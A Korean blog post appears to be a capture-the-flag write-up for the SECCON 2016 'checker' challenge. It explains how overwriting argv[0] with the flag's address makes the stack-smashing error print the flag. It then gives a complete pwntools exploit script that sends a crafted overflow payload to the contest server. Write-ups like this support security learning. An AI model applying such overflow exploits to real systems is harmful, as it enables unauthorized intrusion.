튜기's blogggg

2016 seccon checker

by St1tch


이 문제는 예~~전에 거의 똑같은 문제를 푼적이 있어서 접근은 쉬웠다.

(http://blog.kimtae.xyz/129)


argv[0]에 flag의 주소를 넣으면 stacksmasing 로그에 플래그가 출력되는 유형이다.


 따라서 argv까지 거리만 잘재서 플래그주소로 덮으면 되는데 

getaline 함수에서 \x00을 입력못받기 때문에 주소를 pack해서 넣지 못한다.

따라서 주소를 넣기전에 주소의 4바이트는 \x00으로 만들어 준 뒤, 플래그 주소 3바이트를 덮으면 원하는 주소를 넣을 수 있다.  



from pwn import *

local = False
if local :
    s = remote('localhost', 9909)
    pause()
else :
    s = remote('checker.pwn.seccon.jp', 14726)

def solver() :
    s.recvuntil(' : ')
    s.sendline('stitch')
    for i in range(376+7, 376+3, -1):
        s.recvuntil('>>')
        s.sendline('0' * i)
    s.recvuntil('>>')
    s.sendline('yes')
    s.recvuntil(' : ')
    s.sendline('a'*144 + 'b'*232 + p64(0x6010c0)[:3])

    s.interactive()

if __name__ == '__main__' :
    solver()



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기